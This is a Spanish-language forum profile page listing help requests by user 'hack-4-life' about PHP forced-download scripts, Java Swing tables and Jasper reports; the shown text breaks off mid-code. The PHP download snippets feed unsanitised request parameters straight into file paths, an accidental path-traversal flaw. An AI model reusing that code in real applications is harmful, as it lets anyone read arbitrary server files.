Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - hack-4-life

#1
Buenas a todos,he estado realizando un scrip que se me ocurrio que tal vez se pueda hacer o tal vez,me paso por la mente,el scrip que quiero hacer es algo sobre descarga de archivos multiples con php o forzar la descarga de multiples extensiones esto es lo que se hace al pasarle un valor a este codigo y forza la descarga

Código (php) [Seleccionar]

<?php 
$enlace 
="/".$id

header ("Content-Disposition: attachment; filename=".$id." "); 

header ("Content-Type: application/octet-stream");

header ("Content-Length: ".filesize($enlace));

readfile($enlace);

?>



y esta demas decir que para utizarlo se le pasa la ruta dowload?id=nombrearchivo.x

pero ahora viene lo bueno,lo que yo quiero hacer es que!
lo primero seria renombrar nuestro archivo download_multiple.php y con ese archivo cuando yo lo ejecute que me descargue todo lo que se encuentra en ese directorio ya sean .png,.jpg,.zip,.rar,.pdf,.mp3,.css  ficheros de multiples extensiones por asi decirlo!

buscando me he encontrado con unos codigos que tal vez alguno de ustedes expertos en el area me pudiera sugerir este es con que estoy tratando:

Código (php) [Seleccionar]

<?php
$file 
$_SERVER["DOCUMENT_ROOT"].'/.../.../'.$_GET['file'];

if(!
file) { // File doesn't exist, output error die('file not found'); } else {

//$file_extension = strtolower(substr(strrchr($file,"."),1));
$file_extension end(explode("."$file));

switch( 
$fileExtension)
{
case 
"pdf"$ctype="application/pdf"; break;
case 
"exe"$ctype="application/octet-stream"; break;
case 
"zip"$ctype="application/zip"; break;
case 
"doc"$ctype="application/msword"; break;
case 
"xls"$ctype="application/vnd.ms-excel"; break;
case 
"ppt"$ctype="application/vnd.ms-powerpoint"; break;
case 
"gif"$ctype="image/gif"; break;
case 
"png"$ctype="image/png"; break;
case 
"jpeg":
case 
"jpg"$ctype="image/jpg"; break;
default: 
$ctype="application/force-download";
}

nocache_headers();

 
// Set headers
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public"); // required for certain browsers
header("Content-Description: File Transfer");
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=".$file.";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($file));

 
readfile($file);
?>



lo que entiendo por este codigo es que me descarga esos tipos de formatos de archivos,pero no se como implementarlo  tambien encontre algo asi creando un arreglo de extensiones de archivos


<?php
    $extensiones 
= array("PNG","zip","doc","rar","jpg");
    
$f $_GET["f"];
    if(
strpos($f,"/")!==false){
        die(
"No puedes navegar por otros directorios");
    }
    
$ftmp explode(".",$f);
    
$fExt strtolower($ftmp[count($ftmp)-1]);

    if(!
in_array($fExt,$extensiones)){
        die(
"<b>ERROR!</b> no es posible descargar archivos con la extensión $fExt");
    }

    
header("Content-type: application/octet-stream");
    
header("Content-Disposition: attachment; filename=\"$f\"\n");
    
$fp=fopen("$f""r");
    
fpassthru($fp);
?>





pero no me funciona siempre me manda aqui y no entiendo si tengo todo bien   
die("<b>ERROR!</b> no es posible descargar archivos con la extensión $fExt");

y otra cosa que me gustaria implementar es listar todos los archivos de ese directorio para eso lo hago asi:


<?php
echo "<h3>Index</h3>\n";
echo 
"<table>\n";
$directorio opendir(".");
while (
$archivo readdir($directorio))
   {
   
$nombreArch ucwords($archivo);
   
$nombreArch str_replace("..""Atras"$nombreArch);
   echo 
"<tr>\n<td>\n<a href='$archivo'>\n";

   echo 
" border=0>\n";
   echo 
"<b>&nbsp;$nombreArch</b></a></td>\n";
   echo 
"\n</tr>\n";
   }
closedir($directorio); 
echo 
"</table>\n";
?>




de esta manera me lista todo el directorio y de ahi partir para forzar la descarga de todos  los ficheros con extensiones que contenga la carpeta! he estado leyendo el api de php pero viene algo parecido pero no le entiendo muy bien! http://php.net/manual/en/function.readfile.php
bueno seguire buscando como implementar para descargar multiples archivos o ficheros con direntes extensiones saludos xd y de antemano gracias!
#2
Hola,saludos XDs!
Bueno estoy tratando de solucionar esto,se trata de poder validar un archivo de texto que contiene 1 y 0 que conforman una imagen,donde de un programa java lo mando a llamar y me pinta la imagen en un jpanel,ahora lo que yo quiero hacer es poder validarlo que si esta en el archivo 0111*+´/ cualquier otro simbolo me marque error para esto trate de hacer lo siguiente:
Código (java) [Seleccionar]


   import java.text.*;
   import java.util.*;
   import java.awt.*;
   import java.awt.event.*;
   import java.io.*;
   import java.util.StringTokenizer;
   import javax.swing.*;
   import javax.swing.JFileChooser;


// Clase
    class dibujo extends Frame  {
      static String cad=" ";
      public static String dir="";
   
   // Función de control de la aplicación
       public static void main( String[] gll ) throws IOException{
           
       
       
         try{
         
         
            dir= JOptionPane.showInputDialog(null,"Escribe solo el nombre del archivo a ejecutar"+" ","micky.isc");
         
            int a=dir.length(),b=a-4;
            String sub=dir.substring(b,dir.length()),sub2=".isc";
            System.out.println(sub);
         
            if (sub.equals(sub2)){
                  //compara imagen       
               FileReader ab = new FileReader(dir);
               BufferedReader cd = new BufferedReader(ab);
           
               int numlineas = 0,total=0;
               String Cadena="";
           
               while ((Cadena = cd.readLine())!=null) {
                  numlineas++;   
                  cad += Cadena+"\n";

aqui en el while no se si desde aqui lovalido ya que me lee el archivo txt...
               }
           
            }
            else
            {
               JOptionPane.showMessageDialog(null, "Formato no Reconocido","Error",JOptionPane.ERROR_MESSAGE);
               System.exit(0);
            }
         
         }
             catch (FileNotFoundException e){
               e.printStackTrace();
            }
             catch (IOException d){
               d.printStackTrace();
            }
     
         new dibujo();
      }
       
       public dibujo() {
     
         this.setTitle( "Dibujo" );
         this.setSize( 350,350 );
         
         this.setVisible( true );
     
         
     
         this.addWindowListener(
                new WindowAdapter() {
                   public void windowClosing( WindowEvent evt ) {
                     System.exit( 0 );
                  }
               } );
      }
   
       
       public void paint(Graphics g){
     
         g.translate( this.getInsets().left,this.getInsets().top );
     
         byte[] sep = cad.getBytes();
         String acep="falso";
     
         System.out.println ("hacker    " +sep[2]);
       
         
         if (cad.length() >= 1000){
         
            int x=0,y=0;
            for(int i=0; i<sep.length; i++){
           
                             
               
               if (sep[i] == 48 || sep[i] == 49  || sep[i]==10  ||sep[i]==255 )
               {
                 
                  if (sep[i]==48){
                     g.setColor(Color.white);
                     g.fillRect( x+70,y+50,1,1);
                     x=x+1;
                  }
                 
                  if (sep[i] == 49){
                     
                     g.setColor(Color.black);
                     g.fillRect( x+70,y+50,1,1 );
                     x=x+1;
                  }
                 
                 
                 
                 
                  if (sep[i]== 10){
                     y=y+1;
                     x=0;
                  }
                 
                 
               }////
               else{ 
      /////////////////////
aqui esta mi duda le digo que si existe cualquier digito o caracter de 48=1 y 49=0
me mande error pero no entra en el ciclo mi pregunta es por que!           
                  if (!(sep[i]==48)&&!(sep[i] == 49)){
                  System.out.println("eror"+sep[i]);
                  }
               
               
                                 
                  System.out.println("error");
               }
               
             
           
            }   
         
         }
         else
         {
            JOptionPane.showMessageDialog(null,"Tu Imagen no es la Correcta","Mensage",JOptionPane.INFORMATION_MESSAGE);
            System.exit(0);
           
         }
      }
   }
     
   
   




bueno espero me haya dado entender,espero me puedan ayudar...saludos...
#3
hola buenas manes bueno me quede algo atoradoi y queria ver si alguien tiene una idea de como lo puedo hacerlo que necesito hacer es que cuado cierro un jpanel lo que se habia cargdo en jtable yal cerrarlo me lo vacie me lo deje igual bueno he intentado hacerlo asi
Código (java) [Seleccionar]


bueno primero en otra clase lo declaro con esto

      private DefaultTableModel modelo_pro;
y para ocuparlo lo ocupo asi de esta manera

modelo_pro = new DefaultTableModel();


   modelo_pro.addColumn("Nombre de imagen");
         modelo_pro.addColumn("Nombre de usuario");

y le paso el modelo...

         jTable2.setModel(modelo_pro);
y con esto lo agrego o lo cargo al jtable

       
       

public void addProceso(String app, String usuario){
         Object [] fila = new Object[2];
         fila[0] = app;
         fila[1] = usuario;
         modelo_pro.addRow ( fila ); add row para agregar
      }


pero no me la elimina bueno  habia escuchado algo asi pero no se como implementa esto
Código (java) [Seleccionar]


por ejemplo estaba intentado que cuando se cierre la aplicacion,me limpie el jtable para esto estaba viendo la manera de hacer algo asi pero no me sale..
que cuando lo cierre me limpie el jtable....

  private  class FrameListener extends WindowAdapter
{
        @Override
    public void windowClosing ( WindowEvent e )
   {
   
       DefaultTableModel model = (DefaultTableModel)jTable3.getModel() ;

model.setRowCount(0) ;
       
   }
}

bueno aqui dejo una imagen que una imagen vale mas que mil palabras que cuando cierre l jpanel me limplie el jtable  con los datos cargados de esa ventana


aver si alguien me ayuda en esa parte muchas gracias
#4
hola bueno,que tal, me surgio otra duda...ahora implemente lo que muchos preguntan,como tener un jcombobox a un jtable....


ahora si yo cargo los items de mi base de datos de esta manera....normalmente

Código (java) [Seleccionar]

public void cargarcombo(JComboBox jcbclave_product){
try{
           Class.forName (driver);

           con = DriverManager.getConnection (url,user,pass);
           System.out.println ("su conexion ha sido muy exitosa"+con);
           stmt = con.createStatement();


rs = stmt.executeQuery("SELECT clave FROM productos");
jcbclave_product.removeAllItems();
jcbclave_product.addItem("<-Seleccionar->");

while(rs.next()==true){

   jcbclave_product.addItem(rs.getObject(1));



        }//fin del while
        } catch (Exception e){
              e.printStackTrace();


           }//fin del try



}



y ahora mando a traer mi metodo asii

Código (java) [Seleccionar]

esto lo pongo en initscomponents
   bd.cargacombo(jcbclave_product);



ahora mi pregunta es...


como le paso los datos a un jcombobox que esta en un jtable?eso es lo que no entiendo como hacerlo...


Código (java) [Seleccionar]

yo el agrego el jcombobox en estas lineas
ESTOS SON LOS datos que tiene
public static final String[] DATA = { "Dato 1", "Dato 2", "Dato 3", "Dato 4" };
      DefaultCellEditor defaultCellEditor=new DefaultCellEditor(comboBox);

//le digo que la COLUMNA 4 LO VA A TENER
        tabla.getColumnModel().getColumn(4).setCellEditor(defaultCellEditor);




ahora mi pregunta...como se lo implemento con la consulta que yo tengo vere la manera de hacerlo eso es lo que no entiendo..bueno gracias saludos
#5
Java / como generar un modelo de jtable?
17 Mayo 2011, 05:55 AM
hola manes  buenas manes...me quede atorado espero aver si alguien me puediera ayudar si no es mucha molestia.. lo que quiero hacer es si alguien me puede sugerir una manera de genrar este modelo de tabla insertando los datos de un jtable bueno este sistema lo estoy pasando a java y me pregunto como esto lo hago con java....



bueno ahora pongo la imagen que tengo hasta ahorita en java




y ahora mi codigo de la tabla que llevo hasta el momento..




public class estadodeclientes extends javax.swing.JInternalFrame {


    public estadodeclientes() {
        initComponents();
    }

    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jPanel1 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jTextField1 = new javax.swing.JTextField();
        jLabel2 = new javax.swing.JLabel();
        jTextField2 = new javax.swing.JTextField();
        jLabel3 = new javax.swing.JLabel();
        jTextField3 = new javax.swing.JTextField();
        jLabel4 = new javax.swing.JLabel();
        jTextField4 = new javax.swing.JTextField();
        jLabel5 = new javax.swing.JLabel();
        jTextField5 = new javax.swing.JTextField();
        jLabel7 = new javax.swing.JLabel();
        jLabel8 = new javax.swing.JLabel();
        jLabel9 = new javax.swing.JLabel();
        jLabel10 = new javax.swing.JLabel();
        jLabel6 = new javax.swing.JLabel();
        jTextField6 = new javax.swing.JTextField();
        jTextField7 = new javax.swing.JTextField();
        jTextField8 = new javax.swing.JTextField();
        jTextField9 = new javax.swing.JTextField();
        jTextField10 = new javax.swing.JTextField();
        jScrollPane1 = new javax.swing.JScrollPane();
        jTable1 = new javax.swing.JTable();
        jLabel11 = new javax.swing.JLabel();
        jTextField11 = new javax.swing.JTextField();

        setTitle("Estados de Cuenta");

        jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Estados de Cuenta"));

        jLabel1.setText("Cliente:");

        jLabel2.setText("Factura:");

        jLabel3.setText("Impte venta :$");

        jLabel4.setText("Impte. Enganche:$");

        jLabel5.setText("Saldo Inicial:$");

        jLabel7.setText("Dirreccion:");

        jLabel8.setText("Colonia:");

        jLabel9.setText("Tel. Domicilio:");

        jLabel10.setText("celular:");

        jLabel6.setText("Fecha:");

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addGroup(jPanel1Layout.createSequentialGroup()
                                .addComponent(jLabel1)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE))
                            .addGroup(jPanel1Layout.createSequentialGroup()
                                .addComponent(jLabel9)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jTextField9, javax.swing.GroupLayout.DEFAULT_SIZE, 96, Short.MAX_VALUE)))
                        .addGap(64, 64, 64)
                        .addComponent(jLabel2))
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addComponent(jLabel7)
                            .addComponent(jLabel8))
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, 100, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, 122, javax.swing.GroupLayout.PREFERRED_SIZE))))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addComponent(jLabel10)
                        .addGap(18, 18, 18)
                        .addComponent(jTextField10, javax.swing.GroupLayout.PREFERRED_SIZE, 146, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                        .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
                            .addComponent(jLabel5)
                            .addGap(36, 36, 36)
                            .addComponent(jTextField5, javax.swing.GroupLayout.DEFAULT_SIZE, 145, Short.MAX_VALUE))
                        .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
                            .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                .addComponent(jLabel4)
                                .addComponent(jLabel3))
                            .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                            .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                .addComponent(jTextField3, javax.swing.GroupLayout.PREFERRED_SIZE, 96, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addComponent(jTextField4, javax.swing.GroupLayout.DEFAULT_SIZE, 145, Short.MAX_VALUE))))
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, 58, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(86, 86, 86)
                        .addComponent(jLabel6)
                        .addGap(18, 18, 18)
                        .addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, 52, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addGap(58, 58, 58))
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addGap(20, 20, 20)
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addGroup(jPanel1Layout.createSequentialGroup()
                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                    .addComponent(jLabel1)
                                    .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addGap(18, 18, 18)
                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                    .addGroup(jPanel1Layout.createSequentialGroup()
                                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                            .addComponent(jLabel7)
                                            .addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                                        .addGap(18, 18, 18)
                                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                            .addComponent(jLabel8)
                                            .addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
                                    .addGroup(jPanel1Layout.createSequentialGroup()
                                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                            .addComponent(jLabel3)
                                            .addComponent(jTextField3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                                        .addGap(10, 10, 10)
                                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                            .addComponent(jLabel4)
                                            .addComponent(jTextField4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                                        .addGap(11, 11, 11))))
                            .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                .addComponent(jLabel2)
                                .addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addContainerGap()
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel6)
                            .addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jLabel5)
                    .addComponent(jTextField5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addGap(18, 18, 18)
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jLabel9)
                        .addComponent(jLabel10)
                        .addComponent(jTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jTextField10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jTable1.setModel(new javax.swing.table.DefaultTableModel(
            new Object [][] {
                {new Integer(1), null, null, null, null},
                {new Integer(2), null, null, null, null},
                {new Integer(3), null, null, null, null},
                {new Integer(4), null, null, null, null},
                {new Integer(4), null, null, null, null},
                {new Integer(6), null, null, null, null},
                {new Integer(7), null, null, null, null},
                {new Integer(8), null, null, null, null},
                {new Integer(9), null, null, null, null},
                {new Integer(10), null, null, null, null},
                {new Integer(11), null, null, null, null},
                {new Integer(12), null, null, null, null}
            },
            new String [] {
                "No. Pagos", "Fecha VCTO", "Fecha de Pago:", "Importe:", "Cobrador"
            }
        ) {
            Class[] types = new Class [] {
                java.lang.Integer.class, java.lang.Object.class, java.lang.Object.class, java.lang.Double.class, java.lang.Integer.class
            };

            public Class getColumnClass(int columnIndex) {
                return types [columnIndex];
            }
        });
        jScrollPane1.setViewportView(jTable1);

        jLabel11.setText("Saldo Actual:");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(20, 20, 20)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addGap(10, 10, 10)
                        .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 561, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(63, Short.MAX_VALUE))
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(366, Short.MAX_VALUE)
                .addComponent(jLabel11, javax.swing.GroupLayout.PREFERRED_SIZE, 74, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jTextField11, javax.swing.GroupLayout.PREFERRED_SIZE, 108, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(128, 128, 128))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 229, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(31, 31, 31)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel11)
                    .addComponent(jTextField11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        pack();
    }// </editor-fold>


    // Variables declaration - do not modify
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel10;
    private javax.swing.JLabel jLabel11;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JLabel jLabel7;
    private javax.swing.JLabel jLabel8;
    private javax.swing.JLabel jLabel9;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTable jTable1;
    private javax.swing.JTextField jTextField1;
    private javax.swing.JTextField jTextField10;
    private javax.swing.JTextField jTextField11;
    private javax.swing.JTextField jTextField2;
    private javax.swing.JTextField jTextField3;
    private javax.swing.JTextField jTextField4;
    private javax.swing.JTextField jTextField5;
    private javax.swing.JTextField jTextField6;
    private javax.swing.JTextField jTextField7;
    private javax.swing.JTextField jTextField8;
    private javax.swing.JTextField jTextField9;
    // End of variables declaration

}



ahora mi pregunta es como la puedo genrar automaticamente si hacerlo con un for como algo como estoo....
y en vez de el value ponerle setvalue...alguien me puede ayudar siii? :( :( te antemano muchas gracias

   double total=0;
for (int fila=0; fila < dtm.getRowCount(); fila++) {
   total =  (double) (double) (total + (Double) dtm.getValueAt(fila, 2)); // la columna 2 es la de costo.
   this.montocompra.setText(Double.toString(total));
}



#6
bueno esto esta algo enredado,lo que quiero hacer es generar un reporte de una consulta en java,pára eso ocupo ireport y librerias jasper report...ahora aqui viene mi problema...yo creo el reporte en ireport lo diseño..lo pongoe n una ubicacion y lo mando a llamar el jrxml,me lo compila y me lo manda en pantalla.....pero estaba pensando..si alguien de ustedes me podria decir la manera en que se puede ser automaticamente...

Oseaa tomar la tabla que esta activa con los registros y mandar el reporte asi automatico como hacen los sistemas de oxxo del walrtmart etc...

bueno con este codigo automaticamente me manda a imprimir......esto seria una
Código (java) [Seleccionar]

private void btnImprimirActionPerformed(java.awt.event.ActionEvent evt) {                                            
        try {
           //Mensaje de encabezado
           MessageFormat headerFormat = new MessageFormat("Tutorial Imprimir JTables");
           //Mensaje en el pie de pagina
           MessageFormat footerFormat = new MessageFormat("ContreSpace");
           //Imprimir JTable
           tabla.print(JTable.PrintMode.NORMAL, headerFormat, footerFormat);
       } catch (PrinterException ex) {
           Logger.getLogger(frmImprimir_JTable.class.getName()).log(Level.SEVERE, null, ex);
       }
   }                                        




ahoraa me pregunto si tal si le paso un query y de ese query me genera el reporte,perooo el reporte lo tengo que diseñar...con ireport...sigo buscando de como hacer esto pasando un query y que de ahi me genere el reporte..algo como esto
Código (java) [Seleccionar]

package imprimir_jtable;

import net.sf.jasperreports.engine.*;
import net.sf.jasperreports.engine.export.*;
import net.sf.jasperreports.engine.util.*;
import net.sf.jasperreports.view.*;
import java.sql.*;

import java.io.*;
import java.util.*;

public class Main {

   public Main() {
   }

   public static void main(String[] args) {
       // TODO code application logic here

   try
   {

       //Ruta de Archivo Jasper
       String fileName="C:\\Users\\Hacker\\Desktop\\rep_cli.jasper";
       //Ruta de archivo pdf de destino
       String destFileNamePdf="C:\\Users\\Hacker\\Desktop\\rep_cli.pdf";
       //Ruta de archivo xls de destino
       String destFileNameXls="C:\\Users\\Hacker\\Desktop\\rep_cli.xls";

       //Pasamos parametros al reporte Jasper.
       Map parameters = new HashMap();
           Object put = parameters.put("sql_query",new String("select * from categorias"));


       //Preparacion del reporte (en esta etapa se inserta el valor del query en el reporte).
       JasperPrint jasperPrint=JasperFillManager.fillReport(fileName, (Map) put,getConnection());

       //Creación del PDF
       JasperExportManager.exportReportToPdfFile(jasperPrint,destFileNamePdf);

       //Creación del XLS
       JRXlsExporter exporter = new JRXlsExporter();
       exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);
       exporter.setParameter(JRExporterParameter.OUTPUT_FILE_NAME, destFileNameXls);
       exporter.setParameter(JRXlsExporterParameter.IS_ONE_PAGE_PER_SHEET, Boolean.TRUE);
       exporter.exportReport();

       System.exit(0);
    }
    catch (Exception e)
    {
           System.out.println(e.getMessage());
    }
   }

   /**Metodo para crear la conexion a DB*/
   private static Connection getConnection() throws ClassNotFoundException, SQLException {
       //Configuración de la conexión.
       String driver = "com.mysql.jdbc.Driver";
       String connectString = "jdbc:mysql://127.0.0.1:3306/almacen";
       String user = "root";
       String password = "12345";

       Class.forName(driver);
       Connection conn = DriverManager.getConnection(connectString, user, password);

       //Retornamos la conexión establecida.
   return conn;
}

}








esta otra manera encontre donde se le pasan las columnas y las filas pero ahi ya estan declaradas como seria para pasarle un query me lo genere de ese resultado....aqui ocupan la libreria  libreria itext
Código (java) [Seleccionar]



package imprimir_jtable;

import java.awt.BorderLayout;

import java.awt.Graphics2D;

import java.awt.Shape;

import java.awt.event.ActionEvent;

import java.awt.event.ActionListener;

import java.awt.event.WindowAdapter;

import java.awt.event.WindowEvent;

import java.io.FileOutputStream;

import java.io.IOException;

import javax.swing.JButton;

import javax.swing.JFrame;

import javax.swing.JPanel;

import javax.swing.JTable;

import javax.swing.JToolBar;

import com.lowagie.text.Document;

import com.lowagie.text.DocumentException;

import com.lowagie.text.PageSize;

import com.lowagie.text.pdf.PdfContentByte;

import com.lowagie.text.pdf.PdfWriter;


public class JTable2Pdf extends JFrame {


private JTable table;


public JTable2Pdf() {

getContentPane().setLayout(new BorderLayout());

setTitle("JTable test");

createToolbar();

createTable();

addWindowListener(new WindowAdapter() {

public void windowClosing(WindowEvent e)

{System.exit(0);}

});

}



private void createTable() {

Object[][] data ={

{"Mary", "Campione", "Snowboarding", new

Integer(5), new Boolean(false)},

{"Alison", "Huml", "Rowing", new

Integer(3), new Boolean(true)},

{"Kathy", "Walrath", "Chasing toddlers",

new Integer(2), new Boolean(false)},

{"Mark", "Andrews", "Speed reading", new

Integer(20), new Boolean(true)},

{"Angela", "Lih", "Teaching high school", new Integer(4), new Boolean(false)}

};

String[] columnNames =

{"First Name", "Last Name", "Sport", "# of Years", "Vegetarian"};

table = new JTable(data, columnNames);

// Use a panel to contains the table and add it the frame

JPanel tPanel = new JPanel(new BorderLayout());

tPanel.add(table.getTableHeader(), BorderLayout.NORTH);

tPanel.add(table, BorderLayout.CENTER);

getContentPane().add(tPanel, BorderLayout.CENTER);

}


private void createToolbar() {

JToolBar tb = new JToolBar();

JButton printBtn = new JButton("Print");

